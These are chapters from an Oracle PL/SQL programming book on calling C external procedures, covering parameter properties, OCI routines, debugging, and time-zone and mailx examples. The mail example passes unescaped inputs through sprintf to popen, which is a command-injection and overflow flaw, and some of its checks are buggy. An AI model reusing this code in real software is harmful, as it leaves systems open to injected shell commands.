   LANGUAGE C
   PARAMETERS
      (command STRING,
       result STRING,
       result INDICATOR,
       result MAXLEN);

INDICATOR and MAXLEN are two of five properties with which we can pass supplemental information for any given PL/SQL parameter. We pass the "indicator" in addition to the variable if it's important to detect whether the value is null. Once we specify that the indicator should be included, Oracle sets and interprets this value properly on the PL/SQL side. Our C application, though, will need to get and set this value programmatically. MAXLEN, on the other hand, is a read-only property that gets set automatically by the PL/SQL environment; MAXLEN communicates to the C program the maximum storage that can be used for an IN OUT, OUT, or RETURN parameter.

Each piece of supplemental information we want to exchange will be passed as a parameter, and will appear both in the PARAMETERS clause and in the C language function specification.

21.4.2 More Syntax: The PARAMETERS Clause

Three types of entries may appear in the PARAMETERS clause:

  • Formal parameters of the PL/SQL module

  • The function return value

  • A placeholder for the context area

The syntax you use to map a PL/SQL formal parameter to a C parameter is:

<parameter name> [<property>] [BY REFERENCE] [<external datatype>]

For function return values, you use the keyword RETURN in lieu of a parameter name. RETURN must appear in the last position in the PARAMETERS clause:

RETURN <property> [BY REFERENCE] [<external datatype>]

Use the third variation of the external PARAMETER clause when you have specified WITH CONTEXT. In this case, the parameter is simply

CONTEXT

By convention, if you have specified WITH CONTEXT, you should make CONTEXT the first argument. That is its default location if you default all of the parameter mappings.

Parameter entries have the following meanings:

parameter name

The name of the parameter as specified in the formal parameter list of the PL/SQL module. This name is not necessarily the name of the formal parameter in the C language routine. However, parameters in the PL/SQL parameter list must match one-for-one, in order, those in the C language specification.

property

One of the following: INDICATOR, LENGTH, MAXLEN, CHARSETID, or CHARSETFORM. These are described in Section 21.4.3, "Properties".

BY REFERENCE

Pass the parameter by reference. In other words, the module in the shared library is expecting a pointer to the parameter rather than its value. BY REFERENCE only has meaning for scalar IN parameters that are not strings, such as BINARY_INTEGER, PLS_INTEGER, FLOAT, DOUBLE PRECISION, and REAL. All others (IN OUT and OUT parameters, as well as IN parameters of type STRING) are always passed by reference, and the corresponding C prototype must specify a pointer.

WARNING: The documentation for Oracle 8.0.3 erroneously states that the syntax for this option is "BY REF".

external datatype

The C language datatype. If this is omitted, the external datatype will default as indicated in Table 21.1. Most conversions that make sense are legal; see the table for additional details.

TIP: When you are mapping parameters, you must use positional notation in the PARAMETERS clause. That is, the parameters you supply in this clause must match those in the C language function specification one-for-one, and must appear in the same order.

21.4.3 Properties

This section describes each possible property you can specify in a PARAMETERS clause.

21.4.3.1 INDICATOR property

What it is

"Flag" to denote whether the parameter is null

Allowed External Types

short (the default), int, long

Allowed PL/SQL Types

All scalars

Allowed PL/SQL Modes

IN, IN OUT, OUT, RETURN

Call Mode

By value for IN parameters (unless BY REFERENCE specified), and by reference for IN OUT, OUT, and RETURN variables

You can apply this property to any parameter, in any mode, including RETURNs. If you omit an indicator, PL/SQL is supposed to think that your external routine will always be non-null (but it's not that simple; see the sidebar the sidebar "Indicating Without Indicators?").

When you send an IN variable to the external procedure, and you've associated an indicator, Oracle will set its value automatically. However, if your C module is returning a value in a RETURN or OUT parameter and an indicator, your C code must set the indicator value.

For an IN parameter, an example of the indicator parameter in your C function might be:

sb2 pIndicatorFoo

Or for an IN OUT parameter, the indicator might be:

sb2 *pIndicatorFoo

In the body of your C function, you should use the #define constants OCI_IND_NOTNULL and OCI_IND_NULL supplied in oro.h as values for the NOT NULL and NULL values. These are defined in oro.h as:

#define OCI_IND_NOTNULL 0                    /* not NULL */
#define OCI_IND_NULL (-1)                    /* NULL */

Indicating Without Indicators?

What happens if you don't specify an indicator variable for a string and then return an empty C string? We wrote a short test program to find out:

void myfunc(char *outbuff)
{
   outbuff[0] = '\0';
}

When invoked as an external procedure, PL/SQL interprets this parameter value as a NULL! The reason appears to be that the STRING external type is special; you can also indicate a NULL value to Oracle by passing a string of length 2 where the first byte is '\0'. (This only works if you omit a LENGTH parameter.)

But don't rely on this little-known behavior. Always use an indicator!

21.4.3.2 LENGTH property

What it is

Statistic indicating the number of characters in a character parameter

Allowed External Types

int (the default), short, unsigned short, unsigned int, long, unsigned long

Allowed PL/SQL Types

VARCHAR2, CHAR, RAW, LONG RAW

Allowed PL/SQL Modes

IN, IN OUT, OUT, RETURN

Call Mode

By value for IN parameters (unless BY REFERENCE specified), and by reference for IN OUT, OUT, and RETURN variables

The Oracle documentation states that you must include the LENGTH property for CHAR, RAW, LONG RAW, or VARCHAR2 parameters. In fact, LENGTH is only mandatory for RAW and LONGRAW. CHAR and VARCHAR2 are, in fact, passed on as STRING parameters for which the LENGTH parameter is redundant (since STRINGs follow null-termination semantics). For the external RAW datatype, a LENGTH parameter is necessary to read the length of the RAW data for IN and IN OUT variable modes, and to tell PL/SQL the length of the raw data for IN OUT, OUT, and RETURN variable modes.

For an IN parameter, an example of the indicator parameter in your C function might be:

int pLenFoo

Or for an OUT or IN OUT parameter:

int *pLenFoo

21.4.3.3 MAXLEN property

What it is

Statistic indicating the maximum number of characters in a string parameter

Allowed External Types

int (the default), short, unsigned short, unsigned int, long, unsigned long

Allowed PL/SQL Types

VARCHAR2, CHAR, RAW, LONG RAW

Allowed PL/SQL Modes

IN OUT, OUT, RETURN

Call Mode

By reference

MAXLEN is applied to IN OUT or OUT parameters and to no other mode. If you attempt to use it for an IN, you'll get a compile-time error "PLS-00250: Incorrect Usage of MAXLEN in parameters clause."

Unlike the LENGTH parameter, the MAXLEN data is always passed by reference.

An example of the C formal parameter follows:

int *pMaxLenFoo

21.4.3.4 CHARSETID and CHARSETFORM properties

What it is

Flags denoting information about the character set

Allowed External Types

unsigned int (the default), unsigned short, unsigned long

Allowed PL/SQL Types

VARCHAR2, CHAR, CLOB

Allowed PL/SQL Modes

IN, IN OUT, OUT, RETURN

Call Mode

By reference

If you are passing data to the external procedure which is expressed in a nondefault character set, these properties will let you communicate its ID and form to the called C program. The values are read-only and should not be modified by the called program. For more information about national language support and how to accommodate it in an OCI program, refer to Oracle's Programmer's Guide to the Oracle Call Interface.

21.4.4 Correct Declaration of Properties

With one exception, every parameter-property combination that you list in the PARAMETERS clause must have an entry in the C function specification. For example, if you had the following body:

CREATE OR REPLACE PACKAGE BODY ext_utils
AS
   PROCEDURE my_foo (foo IN OUT VARCHAR2)
   IS EXTERNAL
      LIBRARY foobar_l
      PARAMETERS
         (foo STRING,
          foo MAXLEN,
          foo LENGTH);
END ext_utils;

then the C prototype would look like this:

void myFunction
   (char *pFoo,
    int *pMaxLenFoo,
    int *pLenFoo );

Notice that myFunction is declared void, which is appropriate when mapping to a PL/SQL procedure rather than a function. Also, since this PARAMETERS clause includes no explicit datatypes, we will get the default type mapping:

STRING → char *
MAXLEN → int *
LENGTH → int *

Char is typedefined as an unsigned char in oratypes.h.

The exception to the one-to-one correspondence rule occurs when explicitly declaring properties of the function return value. As an example, look at the parameter list below:

PARAMETERS
   (RETURN INT)

The corresponding C prototype could be:

int someFunction();

(OK, it's not really an exception; it's more a question of semantics.)

Previous: 21.3 Syntax for External Procedures | Oracle PL/SQL Programming, 2nd Edition | Next: 21.5 OCI Service Routines
21.3 Syntax for External Procedures | Book Index | 21.5 OCI Service Routines
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 21] 21.5 OCI Service Routines

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

21.5 OCI Service Routines

There are four OCI routines that you can use in your external procedures. These require that you have passed context area information to the C function by including WITH CONTEXT in your PL/SQL body. The routines are:

OCIExtProcAllocCallMemory

Allocates memory that will automatically de-allocate when control returns to PL/SQL.

OCIExtProcRaiseExcp

Raises a predefined exception by its Oracle error number.

OCIExtProcRaiseExcpWithMsg

Raises a user-defined exception, including a custom error message.

OCIExtProcGetEnv

Allows an external procedure to perform OCI callbacks to the database to execute SQL or PL/SQL.

Refer to Oracle's PL/SQL User's Guide and Reference for detailed documentation and examples of using these routines.

Previous: 21.4 Mapping Parameters | Oracle PL/SQL Programming, 2nd Edition | Next: 21.6 External Procedure Housekeeping
21.4 Mapping Parameters | Book Index | 21.6 External Procedure Housekeeping
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 21] 21.6 External Procedure Housekeeping

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

21.6 External Procedure Housekeeping

Here are some not-so-obvious bits of information that will assist you in creating, debugging, and managing external procedures.

21.6.1 Data Dictionary

There are only a handful of entries in the data dictionary that help manage external procedures. As we have mentioned elsewhere, although Table 21.2 gives the USER_ version of the dictionary table, note that there are corresponding entries for DBA_ and ALL_.

Table 21.2: Data Dictionary Views for External Procedures

To Answer the Question...

Use This View

As In

What libraries have I created?

USER_LIBRARIES

SELECT *
  FROM user_libraries;

What packages depend on library foo?

USER_DEPENDENCIES

SELECT *
  FROM user_dependencies
 WHERE referenced_name = 'FOO';

What is the source code for the spec of my PL/SQL package "bar" that calls the library?

USER_SOURCE

SELECT text
  FROM user_source
 WHERE name = 'BAR'
   AND type = 'PACKAGE'
 ORDER BY line;

What is the source code for my PL/SQL package body named bar that calls the library?

USER_SOURCE

SELECT text
 FROM user_source
WHERE name = 'BAR'
  AND type = 'PACKAGE BODY'
ORDER BY line;

21.6.2 Rules and Warnings About External Procedures

As with almost all things PL/SQL, external procedures come with an obligatory list of cautions:

A Debugging Odyssey

Oracle supplies a script to facilitate the debugging of external procedures. The name of the script is dbgextp.sql, and it's found in $ORACLE_HOME/plsql/demo on UNIX (on Windows NT, it's in <Oracle root directory>\pls80).

dbgextp.sql builds a package needed for debugging, debug_extproc, and a library called debug_extproc_library. Don't look for a lot of documentation on dbgextp.sql -- you won't find it. In fact, inline comments in the file itself are the only place that the debugging process is documented in any detail.

Although it wasn't exactly a cookbook process, I was able to demonstrate that the GNU debugger (gdb 4.16) can attach to a running process, as required to debug external procedures. Here's how I tried it.

First, I compiled the shared library file with the compiler option (-g) needed to include symbolic information for the debugger.

After running dbgextp.sql, I ran the "execute" command on DEBUG_EXTPROC.STARTUP_EXTPROC_AGENT from SQL*Plus and it ran fine. However, I got a "permission denied" error every time I tried to attach the debugger to the extproc. The problem was that the extproc executable had file permissions of 0751 (i.e., -rwxr-x -- x). This means that I cannot, by default, debug unless I am logged in as the "oracle" user or am in the dba group (this is somewhat intentional because Oracle says that the extproc listener shouldn't be started by a user that can write database files -- that could be dangerous if you have a bug in your external procedure). So I issued the command:

chmod o+r $ORACLE HOME/bin/extproc

which got me past the "permission denied" error.

I then loaded the extproc program into gdb and set a breakpoint on the "pextproc" symbol per the instructions in the dbgextp.sql file. Then I typed "@tz_utl" to call the timezone external procedure from the SQL*Plus session. When the external procedure was called, extproc hit the breakpoint.

After executing a gdb "share" command so gdb would read the symbols in my just-loaded external shared library, I was able to set a breakpoint on the get_timezone external procedure. It worked pretty well after that.

I did find that gdb seemed to get confused when I tried to debug one of our shared libraries after another. Detaching the extproc and restarting gdb fixed this problem.

  • While the mode of each formal parameter (IN, IN OUT, OUT) may have certain restrictions in PL/SQL, C does not honor these modes. Differences between the PL/SQL parameter mode and the usage in the C module cannot be detected at compile time, and could also go undetected at runtime. The rules are what you would expect: don't assign values to IN parameters; don't read OUT parameters; always assign values to IN OUT and OUT parameters; always return a value of the appropriate datatype.

  • Modifiable INDICATORs and LENGTHs are always passed by reference for IN OUT, OUT, and RETURN. Unmodifiable INDICATORs and LENGTHs are always passed by value unless you specify BY REFERENCE. However, even if you pass INDICATORs or LENGTHs for PL/SQL variables by reference, they are still read-only parameters.

  • Although you can pass up to 128 parameters between PL/SQL and C, if any of them are float or double, your actual maximum will be lower. How much lower depends on the operating system.

  • Since extproc might be a multithreaded process in future releases, your external code should avoid the use of "static" variables.

  • Your external procedure may not perform DDL commands, begin or end a session, or control a transaction using COMMIT or ROLLBACK. (See Oracle's PL/SQL User's Guide and Reference for a complete list of illegal OCI routines.)

Previous: 21.5 OCI Service Routines | Oracle PL/SQL Programming, 2nd Edition | Next: 21.7 Examples
21.5 OCI Service Routines | Book Index | 21.7 Examples
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 21] 21.7 Examples

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

21.7 Examples

This section contains several substantial examples of using external procedures.

21.7.1 Example: Retrieving the Time Zone

While it's trivial in Oracle to read the time on the system clock (by selecting SYSDATE from DUAL), Oracle provides no clue about the time zone in which the clock resides. I've seen how Oracle's silence on this matter can be a problem in a replicated environment where the Oracle servers were separated by thousands of miles. Without knowing the time zone, how can I write a conflict resolution routine that compares transaction execution time from different servers? Yes, I could set all the servers to a common time zone, but personally, I find that a painful solution at best.

External procedures to the rescue!

A useful application would return at least the name of the time zone in which the server is currently executing, allowing us to perform the time transformations -- using, for example, Oracle's built-in NEW_TIME function.

Let's look first at the PL/SQL side of this external procedure. We are going to call our library timezone_utl. It doesn't exist yet, but we can tell Oracle to create the library anyway (for illustrative purposes):

/* filename on companion disk: tz_utl.sql /*
CREATE OR REPLACE LIBRARY timezone_utl_l
AS
   '/oracle/local/lib/libtz_utl.so';

Now we are going to create a procedure we call timezone. Again, we implement the external procedure in a package, and use RESTRICT_REFERENCES to tell Oracle that it does not affect database or package states:

CREATE OR REPLACE
PACKAGE timezone_utl
IS
    PROCEDURE timezone
       (local_timezone OUT VARCHAR2);
    PRAGMA RESTRICT_REFERENCES (timezone, WNDS, RNDS, WNPS, RNPS);
END timezone_utl;

Notice that we have chosen to retrieve the time zone into an OUT VARCHAR2 parameter. We will therefore include an explicit PARAMETERS clause, and it will include INDICATOR and MAXLEN properties. The routine is going to return a NULL if there is any problem.

CREATE OR REPLACE
PACKAGE BODY timezone_utl
IS
    PROCEDURE timezone
       (local_timezone OUT VARCHAR2)
    IS EXTERNAL
       LIBRARY timezone_utl_l
       NAME "get_timezone"
       LANGUAGE C
       PARAMETERS
          (local_timezone STRING,
           local_timezone MAXLEN sb4,
           local_timezone INDICATOR sb2);
END timezone_utl;

In our C module we write a function, get_timezone, that retrieves the current time zone string from the operating system. From the perspective of the C programmer, this function fills a caller-provided output buffer with the current time zone. If meaningful, the function can also return the alternate "daylight savings" time zone, since it is provided automatically by the localtime function.[9]

[9] The localtime and strftime functions are available in the C runtime libraries included with a number of standard implementations, such as SVID 3, POSIX, BSD 4.3, and ISO 9899.

/* Filename on companion disk: tz_utl.c */
#include <stdio.h>
#include <time.h>
#include <oci.h>

/* Tested with Solaris 2.5.1 and Oracle 8.0.3.  */

void
get_timezone (char *pTimezone,
              sb4 *pMaxLenTimezone, /* not including NULL terminator */
              sb2 *pIndTimezone)
{
    if ( *pMaxLenTimezone > 0 )
    {
        time_t      tmpTime;
        struct tm   *pTimeInfo;
        char        timezoneBuff[BUFSIZ];
        size_t      lenCopied;

        /* Get the current time and extract the timezone string from it */
        tmpTime = time (0);
        pTimeInfo = localtime (&tmpTime);
        lenCopied = strftime (timezoneBuff,
                              sizeof(timezoneBuff),
                              "%Z",
                              pTimeInfo);

        /* If the timezone string fits, copy it into the output parameter */
        if ( (lenCopied > 0) && (lenCopied <= (size_
            t)*pMaxLenTimezone) )
        {
            /* Copy the string and return the length */
            memcpy (pTimezone, timezoneBuff, lenCopied);

            /* Null-terminate the returned string. Note that the
            ** null-terminator byte is not included in MAXLEN */
            pTimezone[lenCopied] = '\0';

            *pIndTimezone = OCI_IND_NOTNULL;
        }
        else
        {
            /* it doesn't fit, so return a NULL */
            *pIndTimezone = OCI_IND_NULL;
        }
    }
    else
    {
        /* the output parameter is too small, return a NULL */
        *pIndTimezone = OCI_IND_NULL;
    }
}

When this C function returns, the length parameter referenced by pLenTimezone will indicate the size of the returned string. If there is an error getting the timezone string, or if the maximum size of the buffer is too small for the timezone value, the indicator variable will be set to OCI_IND_NULL, indicating a NULL.

Compiling and linking this function as a shared library requires some special options. Here is the (slightly edited) log from a UNIX make command that illustrates the necessary include libraries and compiler options (the backslashes are continuation characters added here only for clarity). As mentioned before, this example is from Solaris 2.5.1 and Oracle 8.0.3.

gcc  -I/oracle/product/8.0.3/rdbms/demo \
     -I/oracle/product/8.0.3/network/public \
     -I/oracle/product/8.0.3/plsql/public \
     -fPIC -Wall -c tz_utl.c
gcc  -shared -o libtz_utl.so tz_utl.o

Briefly, these options have the following meanings:

-fPIC

Produce "position-independent code"

-Wall

Issue all "-W" compiler warnings

-c

Compile the source file (to produce a .so file), but do not link it

-shared

Produce a shared object file from a static library

-o libtz_utl.so

Write the output file to libtz_utl.so

A complete makefile for all of the examples appears on the companion diskette (Makefile).

To test our routine, we can run the following PL/SQL block in SQL*Plus:

SET SERVEROUTPUT ON SIZE 1000000
DECLARE
   local_time   DATE;
   local_tz     VARCHAR2(3);
   target_time  DATE;
   target_tz    VARCHAR2(3) := 'GMT';
BEGIN
   /* Call the external procedure to discover the local time zone */
   timezone_utl.timezone (local_tz);

   IF ( local_tz IS NOT NULL ) THEN
     DBMS_OUTPUT.PUT_LINE ('timezone returned = "'
        || local_tz || '"');

      /* Convert the current time to the target time zone */
      local_time  := SYSDATE;
      target_time := NEW_TIME (local_time, local_tz, target_tz);

      /* Display original and converted times with their time zones */
      DBMS_OUTPUT.PUT_LINE (TO_CHAR (local_time,
         'DD-MON-YYYY HH24:MI:SS') || ' ' || local_tz );
      DBMS_OUTPUT.PUT_LINE ('=');
      DBMS_OUTPUT.PUT_LINE (TO_CHAR (target_time,
         'DD-MON-YYYY HH24:MI:SS') || ' ' || target_tz );
   ELSE
      DBMS_OUTPUT.PUT_LINE ('local_tz returned NULL');
   END IF;

END;

This block produced the following (correct) result:

timezone returned = "PDT"
08-JUL-1997 17:07:15 PDT
=
09-JUL-1997 00:07:15 GMT

21.7.2 Example: Sending Email

The last few versions of the Oracle server have included a built-in PL/SQL package which allows you to send email via Interoffice (n閑 Oracle Mail). Unfortunately, this DBMS_MAIL package is of no use to the large number of Oracle shops that standardize on some other email server.

Using an external procedure, however, you can easily write a PL/SQL package that will call an operating system command such as mailx under UNIX. While it may not be the most elegant approach, it has one demonstrable benefit: it works!

Again, we'll look at the PL/SQL side first. In this case, we intend to create a separate shared object file for our library:

/* Filename on companion disk: mail_utl.sql */
CREATE OR REPLACE LIBRARY mail_utl_l
AS
   '/oracle/local/lib/libmail_utl.so';

The package specification contains a single function, send_mail, which accepts only four arguments: the sender, recipient(s), subject, and message body:

CREATE OR REPLACE
PACKAGE mail_utl
IS
    FUNCTION send_mail
       (return_address  IN VARCHAR2 DEFAULT NULL,
        recipient_list  IN VARCHAR2,
        subject_line    IN VARCHAR2 DEFAULT NULL,
        message_text    IN VARCHAR2 DEFAULT NULL)
    RETURN PLS_INTEGER;
    PRAGMA RESTRICT_REFERENCES (send_mail, WNDS, RNDS, WNPS, RNPS);
END mail_utl;

Before coding the body, let's dream up some interesting new requirements. First, if the return address, subject line, or message text is null, let's have the C function use some reasonable defaults. Second, if the recipient list is null, we want to raise a programmer-defined exception.

Mail on Windows NT

If your Oracle server is running on Windows NT, a rough equivalent to mailx is a public domain program called Blat, by Mark Neal and Pedro Mendes. It is available from several Internet sites, including ftp://gepasi.dbs.aber.ac.uk/winnt/blat12.zip and ftp://press.southern.edu/public/windowsnt/email/blat-nt-12.zip. Like mailx, Blat assumes the presence of an SMTP mail server. (Unlike mailx, though, Blat doesn't assume that SMTP is running on the same machine on which you're running Oracle.) With Blat, you'll have to first save the text of the message to an operating system file.

If you have a non-SMTP mail server, it probably has a well-documented API that would allow your external procedure to call it directly.

To support the requirement of communicating nulls properly, the PARAMETERS clause shown below includes indicator variables for each of the parameters. To raise an exception, however, we must send "context" information to the function. We do so by including the WITH CONTEXT clause and including the CONTEXT keyword as the first argument in the PARAMETERS clause:

CREATE OR REPLACE
PACKAGE BODY mail_utl
IS
    FUNCTION send_mail
       (return_address  IN VARCHAR2,
        recipient_list  IN VARCHAR2,
        subject_line    IN VARCHAR2,
        message_text    IN VARCHAR2)
    RETURN PLS_INTEGER
    IS EXTERNAL
       LIBRARY mail_utl_l
       NAME "send_mail"
       LANGUAGE C
       WITH CONTEXT   -- passes context so we can raise exception
       PARAMETERS
          (CONTEXT,   -- keyword giving location of CONTEXT parameter
           return_address STRING,
           return_address INDICATOR,
           recipient_list STRING,
           recipient_list INDICATOR,
           subject_line   STRING  ,
           subject_line   INDICATOR,
           message_text   STRING,
           message_text   INDICATOR,
           RETURN SB4);
END mail_utl;

The corresponding C function sends mail by opening a pipe to the UNIX /bin/mailx program. If there are any errors during the call to /bin/mailx, the function will return any error code returned by the operating system; otherwise it simply returns a value of zero, indicating normal, successful completion.

/* Filename on companion disk: mail_utl.c */
#include <stdlib.h>
#include <stdio.h>
#include <errno.h>
#include <oci.h>

/* Tested with Solaris 2.5.1 and Oracle 8.0.3. */

sb4
send_mail (OCIExtProcContext *pWithContext,
           char  *pReturnAddress,
           sb2   indReturnAddress,
           char  *pRecipientList,
           sb2   indRecipientList,
           char  *pSubject,
           sb2   indSubject,
           char  *pMessage,
           sb2   indMessage)
{
    char mailCmd[BUFSIZ];
    char returnAddrOption[BUFSIZ];
    sb4 errorStatus;
    FILE *pMailPipe;

    /* If there are NULL input parameters, try to "fill in the blanks"
    || and mail the message anyway.
    */
    if (indRecipientList == OCI_IND_NULL)
    {
        /* Raise an unnamed programmer-defined exception since a
        || recipients list is required to send a mail message.
        */
        if (OCIExtProcRaiseExcpWithMsg (pWithContext,
                                        (int)20101,
                                        "a recipient list is required",
                                        0) == OCIEXTPROC_SUCCESS)
        {
            /* Return immediately */
            return -1;
        }
        else
        {
    /* Error raising exception, abort this 'extproc' process. */
            abort();
        }
    }

   /* Test for null arguments and supply defaults where appropriate. */
    if (indMessage == OCI_IND_NULL)
    {
        pMessage = "<No Message>";
    }

    if (indSubject == OCI_IND_NULL)
    {
        pSubject = "<No Subject Given>";
    }

    if (indReturnAddress == OCI_IND_NULL)
    {
        /* No return address option requested */
        returnAddrOption[0] = '\0';
    }
    else
    {
        sprintf(returnAddrOption,
                "-r '%s'",
                pReturnAddress);
    }

    /* Now format the mail command line */
    sprintf(mailCmd,
            "/bin/mailx %s -s '%s' %s",
            returnAddrOption,
            pSubject,
            pRecipientList);

    /* Reset the last system error value */
    errno = 0;

    /* Open a pipe to the mail program */
    if ( (pMailPipe = popen (mailCmd, "w")) != NULL )
    {
        if ( fwrite (pMessage, strlen (pMessage), 1, pMailPipe)
             == strlen (pMessage) )
        {
            /* Now close the pipe and return the termination status */
            errorStatus = pclose(pMailPipe);
        }
        else
        {
            /* We couldn't write the message buffer, return the error */
            errorStatus = errno;
            (void) pclose (pMailPipe);
        }
    }
    else
    {
        /* We failed to open a pipe to the command, return the error */
        errorStatus = errno;
    }
    return errorStatus;
}

Compiling and linking this function into a shared object file is similar to the time zone example. Here, the OCI shared library is also included, and a separate call to ld is required:

gcc  -I/oracle/product/8.0.3/rdbms/demo \
     -I/oracle/product/8.0.3/network/public \
     -I/oracle/product/8.0.3/plsql/public \
     -fPIC -Wall -c mail_utl.c
ld -G -h libmail_utl.so -o libmail_utl.so mail_utl.o \
   /oracle/product/8.0.3/lib/libextp.a

Options have the following meaning:

ld

The link command on Solaris

-G

Produce a shared object

-h libmail_utl.so

Record libmail_utl.so as name used by runtime dynamic linker

To test our routine, we can run the following PL/SQL block in SQL*Plus:

SET SERVEROUTPUT ON SIZE 1000000
DECLARE
   exit_status  PLS_INTEGER;
BEGIN
   /* This call will succeed and "fill-in" the other NULL parameters */
   exit_status := mail_utl.send_mail (recipient_list => 'fred');
   DBMS_OUTPUT.PUT_LINE ('send_mail exit_status = ' || exit_status);

   /* This call will fail since the recipient list is NULL. Our unnamed
   || programmer-defined exception will be raised as a result.
   */
   exit_status := mail_utl.send_mail (recipient_list => NULL,
      subject_line   => 'Mail from PL/SQL!');
   DBMS_OUTPUT.PUT_LINE ('send_mail exit_status = ' || exit_status);
END;

When we run this test block, the first call should succeed, and we should get a message about exit_status being zero:

send_mail exit_status = 0

The next call fails with a user-defined exception -- an exception generated by the external procedure:

DECLARE
*
ERROR at line 1:
ORA-20101: a recipient list is required
ORA-06512: at "USER8.MAIL_UTL", line 0
ORA-06512: at line 10

It's fortunate that Oracle gives us this ability to raise exceptions, so that our external procedures can participate fully in Oracle's SQL and PL/SQL error-handling model. Be sure to take advantage of it!

Previous: 21.6 External Procedure Housekeeping | Oracle PL/SQL Programming, 2nd Edition | Next: VI. Making PL/SQL Programs Work
21.6 External Procedure Housekeeping | Book Index | VI. Making PL/SQL Programs Work
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 22] Code Design Tips

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book
Previous: VI. Making PL/SQL Programs Work Chapter 22 Next: 22.2 Build the Most Functional Functions

22. Code Design Tips

Contents:
Select Meaningful Module and Parameter Names
Build the Most Functional Functions
Take Full Advantage of Local Modularization
Be Wary of Modules Without Any Parameters
Create Independent Modules
Construct Abstract Data Types (ADTs)
Tips for Parameter Design

Syntax, syntax -- is everything just a matter of syntax? You need literacy, a decent memory, and a good reference manual to master the syntax of a computer language like PL/SQL. But how far does that really get you? If you know the correct sequence of keywords to construct a valid procedure, does that mean that you also know how to design that procedure for maximum readability and minimum maintenance? Of course not.

Conquering PL/SQL's syntax is just the first leg of the journey you must take to develop the skills you need to modularize complex and effective applications. This chapter takes another step towards top quality module construction by offering a series of practical, directed tips. Many of these discussions repeat or summarize advice I've given elsewhere in this book, but I've collected it here for easy reference.

These tips cover both how to construct your procedures and functions and how to design your parameters. Once you have written a module and made it available in your development environment, very few people ever look at the code inside the program. Instead, users of your module refer to the module name and parameters, and to the documentation about the module.

The module parameters are far and away the most important part of a module's specification. They determine what information goes into the program and what information can be returned by it (as does the RETURN clause for a function). So this chapter includes a number of tips to help ensure that your parameter lists provide the most accurate information in the clearest manner possible.

22.1 Select Meaningful Module and Parameter Names

A name can make a big difference in the effectiveness of modules and parameters. The tips provided in this section should help you select names and define conventions for names that will improve the readability of your code.

22.1.1 Make Sure the Module Name Explains the Module

When you place code in a module, you hide it from view and give those executable statements a name (the name of the function or procedure). Information hiding is a good thing when it enhances your understanding of a program by letting you focus on a higher level of abstraction. Information hiding is a bad thing when it obscures your understanding of a program. This usually happens when you do not choose an accurate name for your module.

The name of your module should describe what it does in such a way that the replacement of code with the module call "self-documents" your program -- that is, the name should describe the action performed by the module. In addition, the grammatical structure of the name you use is important.

A procedure is an executable statement, a command to the PL/SQL compiler. Consequently, the grammar of a procedure name should be similar to a command:

Verb_Subject

as in:

Calculate_P_and_L
Display_Errors
Confirm_New_Entries

A function is used like an expression in an executable statement. It returns or represents a value, so the grammar of a function name should be a noun:

Description_of_Returned_Value

as in:

Net_Profit
Company_Name
Number_of_Jobs
Earliest_Hire_Date

If I use the wrong grammatical structure for my names, they do not "read" properly. Consider the FOR loop below.

tabrow := 1;
FOR company_cur IN company_rec
LOOP
   profit_and_loss (company_cur.company_id);
   net_profit_table (tabrow) :=
      calculate_net_profit (company_cur.company_id);
   tabrow := tabrow + 1;
END LOOP;

Try reading this code out loud: "For every company in my cursor, profit-and-loss the company and then add the calculate-net-profit to the table." It doesn't sound right and it doesn't look right. If you simply name the procedure "profit_and_loss," you do not explain what you are doing with the profit and loss. And if you include a verb in the function name, you have one verb too many; the assignment operator itself already serves as the "action" for that statement.

I can make a few, minor adjustments in these module names and end up with much more readable code, as shown in this example:

tabrow := 1;
FOR company_cur IN company_rec
LOOP
   calculate_p_and_l (company_cur.company_id);
   net_profit_table (tabrow) := net_profit (company_cur.company_id);
   tabrow := tabrow + 1;
END LOOP;

The module names say it all: "For each company retrieved from the cursor, calculate the profit and loss and store the net profit for that company in the net profit PL/SQL table." Additional, formal documentation seems unnecessary. Can I say the same thing about the next version of the loop?

tabrow := 1;
FOR company_cur IN company_rec
LOOP
   calcpl (company_cur.company_id);
   net_profit_table (tabrow) := np (company_cur.company_id);
   tabrow := tabrow + 1;
END LOOP;

The module names in this code are excessively abbreviated. It is unrealistic to expect someone who didn't actually write the calcpl procedure and the np function to understand what those terms are supposed to mean. You should strike a happy medium between the above obscure identifiers and verbose names like these:

calculate_profit_and_loss_per_company
net_profit_for_single_company

Don't forget that you or someone else will have to type those program names!

22.1.2 Develop Consistent Naming Conventions for Your Formal Parameters

A parameter plays a specific role within a program; its name should indicate this difference. I recommend that in order to further distinguish parameters from other PL/SQL identifiers you include the parameter mode right in the name of the formal parameter.

A parameter has one of three modes: IN, OUT, or IN OUT. An IN parameter passes a value into the module, but its value cannot be modified. An OUT parameter passes a value out of the module, but its value cannot be referenced in the module. An IN OUT parameter can be both referenced and modified in the module.

